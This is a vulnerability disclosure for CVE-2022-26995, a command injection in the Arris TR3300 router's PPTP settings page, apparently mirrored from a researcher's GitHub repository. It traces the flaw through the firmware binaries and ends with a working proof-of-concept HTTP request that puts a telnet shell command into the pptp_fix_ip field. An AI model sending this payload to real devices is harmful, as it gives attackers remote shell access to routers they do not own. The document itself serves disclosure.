Headline

CVE-2022-26995: my_vuln/14.md at main · wudipjq/my_vuln

Arris TR3300 v1.0.13 was discovered to contain a command injection vulnerability in the pptp (wan_pptp.html) function via the pptp_fix_ip, pptp_fix_mask, pptp_fix_gw, and wan_dns1_stat parameters. This vulnerability allows attackers to execute arbitrary commands via a crafted request.

2 years ago

CVE

Open in Source

#vulnerability #web #ubuntu #linux #git

ARRIS Vulnerability

Vendor:ARRIS

Product:TR3300

Version:1.0.13(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000OlZ68AAF&c=SURFboard%20Routers)

Type:Remote Command Execution

Author:Jiaqian Peng

Institution:[email protected]

Vulnerability description

We found an Command Injection vulnerability in ARRIS router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Execution

In setup.cgi binary:

In the router’s pptp function(wan_pptp.html), pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1_stat is directly passed by the attacker, so we can control the pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1_stat to attack the OS.

First, accept and process the content of the field(pptp_fix_ip、pptp_fix_mask、pptp_fix_gw、wan_dns1), and then call the function nvram_set to store this input.

In rc_apps binary:

As you can see here, in sub_40D78C function, the initial input will be extracted.

Eventually, in sub_409884 function, the initial input will cause command injection.

Supplement

In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

PoC

We set pptp_fix_ip as /usr/sbin/utelnetd -l /bin/sh -p 10006, and the router will excute it,such as:

POST /wan_pptp.html HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 345 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/wan_pptp.html Upgrade-Insecure-Requests: 1

pptp_enable=&pptp_username=pjqwudi&pptp_passwd=abc123&pptp_dyna=&pptp_fix_ip=`/usr/sbin/utelnetd -l /bin/sh -p 10006`&pptp_fix_mask=255.255.255.0&pptp_fix_gw=192.168.0.1&pptp_serv_ip=pjqwudi&pptp_conn_id=1&pptp_mtu=1436&h_pptp_enable=enable&h_pptp_dyna=enable&h_pptp_dod=disable&todo=save&this_file=wan_pptp.html&next_file=wan_pptp.html&message=